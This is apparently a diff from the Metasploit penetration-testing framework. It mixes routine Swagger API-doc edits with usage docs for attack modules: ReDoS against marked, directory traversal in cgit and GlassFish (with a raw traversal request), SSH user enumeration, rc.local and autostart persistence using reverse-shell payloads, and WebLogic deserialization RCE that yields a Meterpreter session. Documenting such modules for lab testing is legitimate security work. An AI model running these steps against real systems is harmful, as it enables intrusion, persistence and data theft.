||||
response 200 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :User
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -98,8 +98,15 @@ module VulnApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -141,8 +148,15 @@ module VulnApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -168,8 +182,15 @@ module VulnApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -201,8 +222,15 @@ module VulnApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -235,12 +263,19 @@ module VulnApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -50,8 +50,15 @@ module VulnAttemptApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -81,7 +88,7 @@ module VulnAttemptApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :VulnAttempt
|
||||
|
@ -89,8 +96,15 @@ module VulnAttemptApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -122,12 +136,19 @@ module VulnAttemptApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -43,8 +43,15 @@ module WorkspaceApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -67,7 +74,7 @@ module WorkspaceApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Workspace
|
||||
|
@ -75,8 +82,15 @@ module WorkspaceApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -102,8 +116,15 @@ module WorkspaceApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -135,8 +156,15 @@ module WorkspaceApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -161,7 +189,7 @@ module WorkspaceApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Workspace
|
||||
|
@ -169,12 +197,19 @@ module WorkspaceApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,84 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
|
||||
in the npm module `marked`. The vulnerable regex is in the "heading" processing.
|
||||
Versions before 0.3.19 are vulnerable.
|
||||
Any application that uses a vulnerable version of this module and passes untrusted input
|
||||
to the module will be vulnerable.
|
||||
|
||||
## How to Install
|
||||
|
||||
To install a vulnerable version of `marked`, run:
|
||||
```
|
||||
npm i marked@0.3.19
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Create a new directory for test application.
|
||||
2. Copy below example server into test application directory as `server.js`.
|
||||
3. Run `npm i express` to install express in the test application directory.
|
||||
4. To test vulnerable versions of the module, run `npm i marked@0.3.19` to install a vulnerable version of marked.
|
||||
5. To test non-vulnerable versions of the module, run `npm i marked` to install the latest version of marked.
|
||||
6. Once all dependencies are installed, run the server with `node server.js`.
|
||||
7. Open up a new terminal.
|
||||
8. Start msfconsole.
|
||||
9. `use auxiliary/dos/http/marked_redos`.
|
||||
10. `set RHOST [IP]`.
|
||||
11. `set HTTP_METHOD get` (optional)
|
||||
12. `set HTTP_PARAMETER foo` (required)
|
||||
13. `set TARGETURI /path/to/vulnerable/route` (optional)
|
||||
14. `run`.
|
||||
15. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
|
||||
16. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### marked npm module version 0.3.19
|
||||
|
||||
Expected output for successful exploitation:
|
||||
|
||||
```
|
||||
[*] Testing Service to make sure it is working.
|
||||
[*] Test request successful, attempting to send payload
|
||||
[*] Sending ReDoS request to 192.168.3.24:3000.
|
||||
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
|
||||
[*] Testing for service unresponsiveness.
|
||||
[+] Service not responding.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Example Vulnerable Application
|
||||
|
||||
```
|
||||
// npm i express body-parser
|
||||
// npm i marked@0.3.19 (vulnerable)
|
||||
// npm i marked (non-vulnerable)
|
||||
|
||||
const marked = require('marked');
|
||||
const express = require('express');
|
||||
const bodyParser = require('body-parser');
|
||||
|
||||
var app = express();
|
||||
app.use(bodyParser.text({ type: 'text/html' }));
|
||||
|
||||
// create application/json parser
|
||||
const jsonParser = bodyParser.json();
|
||||
|
||||
// create application/x-www-form-urlencoded parser
|
||||
const urlencodedParser = bodyParser.urlencoded({ extended: false });
|
||||
|
||||
app.get("/", urlencodedParser, function(req, res) {
|
||||
var result = req.query.foo ? marked(req.query.foo) : 'nothing';
|
||||
res.end(result);
|
||||
});
|
||||
|
||||
app.post("/cat", urlencodedParser, function(req, res) {
|
||||
var result = req.body.bar ? marked(req.body.bar) : 'nothing'
|
||||
res.end(result);
|
||||
});
|
||||
|
||||
app.listen(3000, '0.0.0.0', function() { console.log('Application listening on port 3000 on all interfaces!'); });
|
||||
```
|
|
@ -0,0 +1,46 @@
|
|||
## Description
|
||||
This module identifies a list of indices which an Elasticsearch NoSQL database has. This occurs over the REST API, which on community versions is an unauthenticated API. Customers who subscribe to a support plan can add authentication to this API restricting access.
|
||||
|
||||
## Vulnerable Application
|
||||
### Install Elasticsearch on Kali Linux:
|
||||
With this install, we'll install the free community edition of Elasticsearch, which does not require authentication to the API. However, this is unrealistic in a production environment which will often leverage a support contract to gain authentication, a reverse proxy to add basic authentication, and/or a host firewall to restrict access to this API.
|
||||
|
||||
The following instructions assume you are beginning with a fresh Kali installation as the root user.
|
||||
|
||||
1. `useradd -M -r elasticsearch`
|
||||
2. `su elasticsearch`
|
||||
3. `cd /tmp`
|
||||
4. `curl -L -O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.3.2.tar.gz`
|
||||
5. `tar -xvf elasticsearch-6.3.2.tar.gz`
|
||||
6. `cd elasticsearch-6.3.2/bin`
|
||||
7. `./elasticsearch`
|
||||
8. Open a new terminal
|
||||
9. In the new terminal, `curl -X PUT http://127.0.0.1:9200/msf_test` to create an index for validation purposes
|
||||
|
||||
## Verification Steps
|
||||
1. `use auxiliary/scanner/elasticsearch/indices_enum`
|
||||
2. `set RHOSTS [ips]`
|
||||
3. `set RPORT [port]`
|
||||
4. `run`
|
||||
|
||||
|
||||
## Scenarios
|
||||
### Elasticsearch 6.3.2 on Kali Linux
|
||||
```
|
||||
msf > use auxiliary/scanner/elasticsearch/indices_enum
|
||||
msf auxiliary(scanner/elasticsearch/indices_enum) > set RHOSTS 10.10.10.25
|
||||
RHOSTS => 10.10.10.25
|
||||
msf auxiliary(scanner/elasticsearch/indices_enum) > run
|
||||
|
||||
[+] ElasticSearch Indices found: msf_test
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Confirming
|
||||
### [elasticsearch](https://www.elastic.co/guide/en/elasticsearch/reference/current/_list_all_indices.html)
|
||||
```
|
||||
# curl 'http://10.10.10.25:9200/_cat/indices?v'
|
||||
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
|
||||
yellow open msf_test W83_cAS1QlmePnczS9sLrA 5 1 0 0 1.2kb 1.2kb
|
||||
```
|
|
@ -0,0 +1,91 @@
|
|||
## Description
|
||||
|
||||
cgit before v1.2.1 has a directory traversal vulnerabiltiy when `cgitrc` has the `enable-http-clone` value set to 1. The directory traversal can be used to download files from the remote host. This module has been tested against cgit v1.1 running on Ubuntu 18.04.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[cgit before v1.2.1](https://git.zx2c4.com/cgit/)
|
||||
|
||||
### Installing cgit on Ubuntu 18.04 x64
|
||||
|
||||
1. `sudo apt install cgit` # [dependencies](https://git.zx2c4.com/cgit/tree/README) may have to be downloaded first
|
||||
2. Modify `/etc/cgitrc` to have `enable-http-clone=1`. Example attached.
|
||||
3. Add `.htaccess` file with rewrite rules to `/usr/lib/cgit/`. Example attached.
|
||||
4. Add `cgit.conf` to `/etc/apache2/conf-enabled/`. Example attached.
|
||||
5. Enable `rewrite.load` and `cgi.load` in apache2.
|
||||
6. Create bare repo. `mkdir -p repo/test.git && cd repo/test.git && git init --bare`
|
||||
|
||||
Example files were only used for testing and are not secure or usable in non-testing environments. These WILL make your system insecure, but will enable exploitation
|
||||
by this module.
|
||||
|
||||
[cgit.conf](https://github.com/rapid7/metasploit-framework/files/2284678/cgit.conf.txt)
|
||||
|
||||
[cgitrc](https://github.com/rapid7/metasploit-framework/files/2284679/cgitrc.txt)
|
||||
|
||||
[.htaccess](https://github.com/rapid7/metasploit-framework/files/2284680/htaccess.txt)
|
||||
|
||||
### Vulnerability Details from Project Zero
|
||||
|
||||
There is a directory traversal vulnerability in cgit_clone_objects(), reachable when the configuration flag enable-http-clone is set to 1 (default):
|
||||
|
||||
```
|
||||
void cgit_clone_objects(void)
|
||||
{
|
||||
if (!ctx.qry.path) {
|
||||
cgit_print_error_page(400, "Bad request", "Bad request");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!strcmp(ctx.qry.path, "info/packs")) {
|
||||
print_pack_info();
|
||||
return;
|
||||
}
|
||||
|
||||
send_file(git_path("objects/%s", ctx.qry.path));
|
||||
}
|
||||
```
|
||||
|
||||
send_file() is a function that simply sends the data stored at the given filesystem path out over the network.
|
||||
git_path() partially rewrites the provided path and e.g. prepends the base path of the repository, but it does not sanitize the provided path to prevent directory traversal.
|
||||
|
||||
ctx.qry.path can come from querystring_cb(), which takes unescaped data from the querystring.
|
||||
|
||||
## Options
|
||||
|
||||
**REPO**
|
||||
|
||||
Git repository on the remote server. Default is empty, `''`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `./msfconsole -q`
|
||||
2. `set rhosts <rhost>`
|
||||
3. `set targeturi <uri>`
|
||||
4. `set repo <repo>`
|
||||
5. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 18.04 x64, cgit | 1.1+git2.10.2-3build1
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/cgit_traversal
|
||||
msf5 auxiliary(scanner/http/cgit_traversal) > set rhosts 172.22.222.123
|
||||
rhosts => 172.22.222.123
|
||||
msf5 auxiliary(scanner/http/cgit_traversal) > set targeturi /mygit/
|
||||
targeturi => /mygit/
|
||||
msf5 auxiliary(scanner/http/cgit_traversal) > set repo test
|
||||
repo => test
|
||||
msf5 auxiliary(scanner/http/cgit_traversal) > set filepath /home/msfdev/proof.txt
|
||||
filepath => /home/msfdev/proof.txt
|
||||
msf5 auxiliary(scanner/http/cgit_traversal) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/http/cgit_traversal) > run
|
||||
|
||||
[+] 172.22.222.123:80 -
|
||||
you found me!
|
||||
|
||||
[+] File saved in: /home/msfdev/.msf4/loot/20180813150517_default_172.22.222.123_cgit.traversal_235024.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,117 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits an unauthenticated directory traversal vulnerability which exists in administration console of,
|
||||
Oracle GlassFish Server 4.1, which is listening by default on port 4848/TCP.
|
||||
|
||||
Related links :
|
||||
|
||||
* https://www.exploit-db.com/exploits/39441/
|
||||
* https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904
|
||||
* http://download.oracle.com/glassfish/4.1/release/glassfish-4.1.zip - Download Oracle Glass Fish 4.1
|
||||
|
||||
## Verification
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/scanner/http/glassfish_traversal```
|
||||
3. Do: ```set RHOSTS [IP]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/glassfish_traversal
|
||||
msf auxiliary(scanner/http/glassfish_traversal) > set RHOSTS 192.168.1.105
|
||||
RHOSTS => 192.168.1.105
|
||||
msf auxiliary(scanner/http/glassfish_traversal) > set verbose true
|
||||
verbose => true
|
||||
msf auxiliary(scanner/http/glassfish_traversal) > run
|
||||
|
||||
[+] 192.168.1.105:4848 - ; for 16-bit app support
|
||||
[fonts]
|
||||
[extensions]
|
||||
[mci extensions]
|
||||
[files]
|
||||
[Mail]
|
||||
MAPI=1
|
||||
[MCI Extensions.BAK]
|
||||
3g2=MPEGVideo
|
||||
3gp=MPEGVideo
|
||||
3gp2=MPEGVideo
|
||||
3gpp=MPEGVideo
|
||||
aac=MPEGVideo
|
||||
adt=MPEGVideo
|
||||
adts=MPEGVideo
|
||||
m2t=MPEGVideo
|
||||
m2ts=MPEGVideo
|
||||
m2v=MPEGVideo
|
||||
m4a=MPEGVideo
|
||||
m4v=MPEGVideo
|
||||
mod=MPEGVideo
|
||||
mov=MPEGVideo
|
||||
mp4=MPEGVideo
|
||||
mp4v=MPEGVideo
|
||||
mts=MPEGVideo
|
||||
ts=MPEGVideo
|
||||
tts=MPEGVideo
|
||||
|
||||
[+] File saved in: /home/input0/.msf4/loot/20180804132151_default_192.168.1.105_oracle.traversal_244542.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(scanner/http/glassfish_traversal) >
|
||||
```
|
||||
|
||||
## HTTP Request
|
||||
|
||||
```
|
||||
GET /theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini HTTP/1.1
|
||||
Host: 192.168.1.105:4848
|
||||
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-GB,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Cookie: JSESSIONID=3c54ae091ab200dc3ce8ecfff7c1
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
If-Modified-Since: Sat, 04 Aug 2018 05:53:42 GMT
|
||||
```
|
||||
|
||||
## HTTP Response
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Length: 403
|
||||
Content-Type: text/plain
|
||||
Expires: Mon, 30 Jul 2018 11:16:55 GMT
|
||||
Last-Modified: Tue, 14 Jul 2009 05:09:22 GMT
|
||||
Server: Microsoft-HTTPAPI/2.0
|
||||
Date: Sun, 29 Jul 2018 06:46:55 GMT
|
||||
Connection: close
|
||||
|
||||
; for 16-bit app support
|
||||
[fonts]
|
||||
[extensions]
|
||||
[mci extensions]
|
||||
[files]
|
||||
[Mail]
|
||||
MAPI=1
|
||||
[MCI Extensions.BAK]
|
||||
3g2=MPEGVideo
|
||||
3gp=MPEGVideo
|
||||
3gp2=MPEGVideo
|
||||
3gpp=MPEGVideo
|
||||
aac=MPEGVideo
|
||||
adt=MPEGVideo
|
||||
adts=MPEGVideo
|
||||
m2t=MPEGVideo
|
||||
m2ts=MPEGVideo
|
||||
m2v=MPEGVideo
|
||||
m4a=MPEGVideo
|
||||
m4v=MPEGVideo
|
||||
mod=MPEGVideo
|
||||
mov=MPEGVideo
|
||||
mp4=MPEGVideo
|
||||
mp4v=MPEGVideo
|
||||
mts=MPEGVideo
|
||||
ts=MPEGVideo
|
||||
tts=MPEGVideo
|
||||
```
|
|
@ -0,0 +1,79 @@
|
|||
## Intro
|
||||
|
||||
This module uses a malformed packet or timing attack to enumerate users on
|
||||
an OpenSSH server.
|
||||
|
||||
Testing note: invalid users were logged, while valid users were not. YMMV.
|
||||
|
||||
## Actions
|
||||
|
||||
**Malformed Packet**
|
||||
|
||||
The default action sends a malformed (corrupted) `SSH_MSG_USERAUTH_REQUEST`
|
||||
packet using public key authentication (must be enabled) to enumerate users.
|
||||
|
||||
**Timing Attack**
|
||||
|
||||
On some versions of OpenSSH under some configurations, OpenSSH will return a
|
||||
"permission denied" error for an invalid user faster than for a valid user,
|
||||
creating an opportunity for a timing attack to enumerate users.
|
||||
|
||||
## Options
|
||||
|
||||
**USERNAME**
|
||||
|
||||
Single username to test (username spray).
|
||||
|
||||
**USER_FILE**
|
||||
|
||||
File containing usernames, one per line.
|
||||
|
||||
**THRESHOLD**
|
||||
|
||||
Amount of seconds needed before a user is considered found (timing attack only).
|
||||
|
||||
**CHECK_FALSE**
|
||||
|
||||
Check for false positives (random username).
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/ssh/ssh_enumusers
|
||||
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts [redacted]
|
||||
rhosts => [redacted]
|
||||
msf5 auxiliary(scanner/ssh/ssh_enumusers) > echo $'wvu\nbcook' > users
|
||||
[*] exec: echo $'wvu\nbcook' > users
|
||||
|
||||
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set user_file users
|
||||
user_file => users
|
||||
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/ssh/ssh_enumusers) > run
|
||||
|
||||
[*] [redacted]:22 - SSH - Using malformed packet technique
|
||||
[*] [redacted]:22 - SSH - Starting scan
|
||||
[+] [redacted]:22 - SSH - User 'wvu' found
|
||||
[-] [redacted]:22 - SSH - User 'bcook' not found
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set action Timing Attack
|
||||
action => Timing Attack
|
||||
msf5 auxiliary(scanner/ssh/ssh_enumusers) > run
|
||||
|
||||
[*] [redacted]:22 - SSH - Using timing attack technique
|
||||
[*] [redacted]:22 - SSH - Starting scan
|
||||
[+] [redacted]:22 - SSH - User 'wvu' found
|
||||
[-] [redacted]:22 - SSH - User 'bcook' not found
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/ssh/ssh_enumusers) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type
|
||||
---- ------ ------- ------ ------- ----- ------------
|
||||
[redacted] [redacted] 22/tcp (ssh) wvu
|
||||
|
||||
msf5 auxiliary(scanner/ssh/ssh_enumusers) >
|
||||
```
|
|
@ -0,0 +1,22 @@
|
|||
## Autostart persistence
|
||||
|
||||
This module persist a payload by creating a `.desktop` entry for Linux desktop targets.
|
||||
|
||||
### Testing
|
||||
|
||||
1. Exploit a box
|
||||
2. `use exploit/linux/local/autostart_persistence`
|
||||
3. `set SESSION <id>`
|
||||
4. `set PAYLOAD cmd/unix/reverse_python` (for instance), configure the payload as needed
|
||||
5. `exploit`
|
||||
|
||||
When the victim logs in your payload will be executed!
|
||||
|
||||
|
||||
### Options
|
||||
|
||||
|
||||
**NAME**
|
||||
|
||||
Name of the `.desktop` entry to add, if not specified it will be chosen randomly.
|
||||
|
|
@ -0,0 +1,46 @@
|
|||
## rc.local Persistence
|
||||
|
||||
This module patches `/etc/rc.local` in order to launch a payload upon reboot.
|
||||
|
||||
> Sometimes `/etc/rc.local` is run when the network is not yet on, make sure your payload won't quit if that's the case.
|
||||
|
||||
|
||||
### Verification
|
||||
|
||||
1. Exploit a box and get a **root** session (tip: try `post/multi/manage/sudo`)
|
||||
2. `use exploit/linux/local/rc_local_persistence`
|
||||
3. `set SESSION <session>`
|
||||
4. `set PAYLOAD <payload>`
|
||||
5. `set LHOST <lhost>`
|
||||
6. `exploit`
|
||||
|
||||
|
||||
### Sample run
|
||||
|
||||
#### Escalate the session if needed
|
||||
|
||||
```
|
||||
msf5 exploit(linux/local/rc_local_persistence) > use post/multi/manage/sudo
|
||||
msf5 post(multi/manage/sudo) > set session 3
|
||||
session => 3
|
||||
msf5 post(multi/manage/sudo) > run
|
||||
|
||||
[*] SUDO: Attempting to upgrade to UID 0 via sudo
|
||||
[*] No password available, trying a passwordless sudo.
|
||||
[+] SUDO: Root shell secured.
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
#### Persist
|
||||
|
||||
```
|
||||
msf5 post(multi/manage/sudo) > use exploit/linux/local/rc_local_persistence
|
||||
msf5 exploit(multi/handler) > set payload cmd/unix/reverse_ruby
|
||||
payload => cmd/unix/reverse_ruby
|
||||
msf5 exploit(linux/local/rc_local_persistence) > set LHOST 192.168.0.41
|
||||
LHOST => 192.168.0.41
|
||||
msf5 exploit(linux/local/rc_local_persistence) > run
|
||||
|
||||
[*] Reading /etc/rc.local
|
||||
[*] Patching /etc/rc.local
|
||||
```
|
|
@ -0,0 +1,47 @@
|
|||
## Description
|
||||
|
||||
Oracle Weblogic Server v10.3.6.0, v12.1.3.0, v12.2.1.2, and v12.2.1.3 are vulnerable to a deserialization vulnerable, which can be used to execute code on vulnerable systems. An unauthenticated user with network access via T3 could exploit the vulnerability. This module has been tested against Oracle Weblogic Server v10.3.6.0 running on Windows10 x64 using JDK v7u17.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[Oracle Weblogic Server v10.3.6.0](http://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_generic.jar), v12.1.3.0, v12.2.1.2, and v12.2.1.3.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `./msfconsole -q`
|
||||
2. `use exploit/multi/misc/weblogic_deserialize`
|
||||
3. `set rhosts <rhost>`
|
||||
4. `set srvhost <srvhos>t`
|
||||
5. `set srvport <srvport>`
|
||||
6. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Windows 10 x64 running Oracle Weblogic Server 10.3.6.0 on JDK v7u17
|
||||
|
||||
```
|
||||
msf5 exploit(multi/misc/weblogic_deserialize) > set rhosts 172.22.222.175
|
||||
rhosts => 172.22.222.175
|
||||
msf5 exploit(multi/misc/weblogic_deserialize) > set srvhost 172.22.222.121
|
||||
srvhost => 172.22.222.121
|
||||
msf5 exploit(multi/misc/weblogic_deserialize) > set srvport 8888
|
||||
srvport => 8888
|
||||
msf5 exploit(multi/misc/weblogic_deserialize) > run
|
||||
[*] Exploit running as background job 0.
|
||||
msf5 exploit(multi/misc/weblogic_deserialize) >
|
||||
[*] Started reverse TCP handler on 172.22.222.121:4444
|
||||
[*] Sending stage (179779 bytes) to 172.22.222.175
|
||||
[*] Meterpreter session 1 opened (172.22.222.121:4444 -> 172.22.222.175:49908) at 2018-08-08 17:53:07 -0500
|
||||
sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : _
|
||||
OS : Windows 10 (Build 17134).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
|
@ -40,6 +40,8 @@ module Metasploit
|
|||
|
||||
def do_login(username, password)
|
||||
session_info = get_session_info
|
||||
# Failed to retrieve session info
|
||||
return session_info if session_info.is_a?(Hash)
|
||||
|
||||
protocol = ssl ? 'https' : 'http'
|
||||
peer = "#{host}:#{port}"
|
||||
|
|
|
@ -55,7 +55,8 @@ module Metasploit
|
|||
:config => false,
|
||||
